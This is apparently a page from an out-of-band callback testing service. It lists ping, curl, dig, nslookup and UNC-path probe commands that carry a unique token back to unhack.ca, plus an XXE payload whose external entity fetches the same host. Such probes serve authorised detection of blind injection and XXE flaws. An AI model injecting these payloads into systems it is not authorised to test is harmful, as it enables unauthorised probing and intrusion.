$ ping -c1 -p 00c92d2265aa24f0a760a609a2e0d800 unhack.ca
$ curl http://unhack.ca/p/c92d2265aa24f0a760a609a2e0d8
$ dig c92d2265aa24f0a760a609a2e0d8 @unhack.ca
$ dig c92d2265aa24f0a760a609a2e0d8.ns.unhack.ca
C:\> nslookup c92d2265aa24f0a760a609a2e0d8 unhack.ca
C:\> type \\unhack.ca\c92d2265aa24f0a760a609a2e0d8\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/c92d2265aa24f0a760a609a2e0d8">]>
<foo>&xxe;</foo>
Waiting for ping...